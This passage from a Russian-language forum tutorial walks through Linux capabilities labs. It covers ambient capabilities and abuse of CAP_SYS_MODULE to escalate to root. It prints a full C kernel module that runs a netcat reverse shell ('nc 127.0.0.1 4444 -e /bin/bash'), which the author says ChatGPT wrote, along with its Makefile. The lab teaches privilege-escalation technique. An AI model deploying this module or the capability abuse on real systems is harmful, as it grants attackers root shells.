Изображение [33]: Установка libcap-ng-dev
Некоторое время спустя....
Итак, если мы сделаем так, как сказано в коде
Bash:
gcc -lcap-ng -o ambient ambient.c
Изображение [34]: Cообщение об ошибке
Чтобы предотвратить это, мы должны выполнить
Bash:
gcc -o ambient ambient.c -lcap-ng
Изображение [35]: Создаем исполняемый файл из нашего C-кода
Некоторое время спустя....
Оказывается, в ubuntu, которую я установил, нет возможности "cap_setpcap". Итак, мы должны запустить
Bash:
sudo setcap cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
Приведенный выше код добавляет возможность, которая позволит нам запустить команду "ping", мы также использовали "+i" (+eip = +e,+i,+p), которая является наследуемой возможностью, которая работает вместе с возможностью окружения.
Теперь, чтобы проверить, работает ли команда "ping" или нет, мы можем использовать ее. Для этого давайте перейдем в нашу папку "build", которую мы создали, когда устанавливали ping с нуля, и запустим
Bash:
./ping 1.1.1.1
Bash:
cd ping/build
./ping 1.1.1.1
cd
./ambient /bin/bash
cd ping/build
./ping 1.1.1.1
Изображение [36]: Тестирование возможности "ambient"
Мы решили лабораторию. Когда мы использовали возможность "ambient", мы фактически создали оболочку (shell), и внутри этой "оболочки" у нашего пользователя была возможность "cap_net_raw", которая необходима для выполнения исполняемого файла "ping".
Но как проверить возможности пользователя?
Есть 2 способа сделать это.
- Простой способ - выполнить
capsh --print - Второй способ - выполнить
grep Cap /proc/$BASHPID/status. И расшифровать "разрешенную" возможность с помощью "capsh --decode"
Изображение [37]: Способы
Лаборатория №3
Давайте подумаем, что на самом деле представляет собой "Повышение привилегий". Когда мы говорим о "повышении привилегий", все, что приходит нам на ум, - это стать "root", но на самом деле речь идет об увеличении привилегий конкретного пользователя для выполнения какого-либо действия. Например, вы, как студент, можете только слушать лекции. Однажды ваш учитель не приходит, и вы начинаете объяснять уроки. Tак что, по сути, "вы" (ученик) расширили свои привилегии, читая лекции, но вы не "стали" своим учителем.
ХА-ХА-ХА, теперь вы можете подумать, что я обманом заставил вас прочитать / сделать все это только для того, чтобы сделать какое-то бесполезное повышение привилегий, нет, я этого не делал, мы создадим лабораторию и будем root!
Ядро подобно сердцу человека, оно управляет аппаратными ресурсами и предоставляет необходимые сервисы приложениям. Модуль ядра - это код, который может быть загружен в работающее ядро операционной системы для расширения его функциональности, не требуя перезагрузки. Хорошо, мы все это поняли, но от имени какого пользователя выполняется этот код? Что ж, это будет выполнено в контексте самого ядра, а не в контексте конкретного пользователя. Он не привязан к конкретному пользователю.
Что произойдет, если мы вставим наш собственный модуль ядра? Что, если этот модуль будет содержать обратную оболочку (reverse shell)? Если я вставляю обратную оболочку (reverse shell) в модуль ядра, пользователь, который подключится к моей оболочке, обычно будет пользователем, обладающим необходимыми привилегиями для выполнения кода, запускающего обратную оболочку. Модули ядра обычно загружаются и выполняются в контексте ядра, поэтому пользователь, инициирующий подключение, может отличаться от пользователя, загрузившего модуль. Итак, мы попытаемся загрузить модуль как непривилегированный (unprivileged) пользователь и получить обратную оболочку как привилегированный (privileged) пользователь.
Создание лаборатории
Прежде чем продолжить, выйдите из оболочки второй лаборатории. Просто используйте команду
exit.Используйте этот код для создания лабораторной среды.
Bash:
sudo setcap 'cap_sys_module+ep' /usr/bin/kmod
getcap -r / 2>/dev/null
Мы использовали команду
getcap, чтобы получить список команд, которые обладают возможностями.
Изображение [38]: Создание лаборатории
Решение лабораторной задачи
Цель этой лабораторной работы - стать root, злоупотребляя CAP_SYS_MODULE, который мы только что добавили в качестве возможности к команде
kmod.В любом случае, что такое CAP_SYS_MODULE? Возможность CAP_SYS_MODULE позволяет пользователю загружать и выгружать модули ядра, даже не будучи пользователем root. И мы уже знаем, что можем загружать модули ядра во время работы нашей операционной системы.
Если мы можем загрузить модуль ядра, это означает, что мы должны написать обратную оболочку (reverse shell) на "C", скомпилировать ее и загрузить как модуль ядра.
Вы не поверите, но я заставил ChatGPT написать обратную оболочку (reverse shell) на "C".
Изображение [39]: ChatGPT Reverse Shell
C:
#include <linux/module.h>
#include <linux/kmod.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
static char *argv[] = { "/bin/bash", "-c", "nc 127.0.0.1 4444 -e /bin/bash", NULL };
static char *envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
static int __init reverse_shell_init(void) {
printk(KERN_INFO "Reverse shell module loaded\n");
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
return 0;
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Reverse shell module unloaded\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Теперь мы должны скомпилировать его, для этого мы должны создать "MakeFile".
Код:
obj-m += RevShellXSS.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Для компиляции используйте команду
make, если вы получаете ошибку, вероятно, это связано с заголовками Linux, просто переустановите их следующим образом:
Bash:
sudo apt install --reinstall linux-headers-$(uname -r)
Последнее редактирование: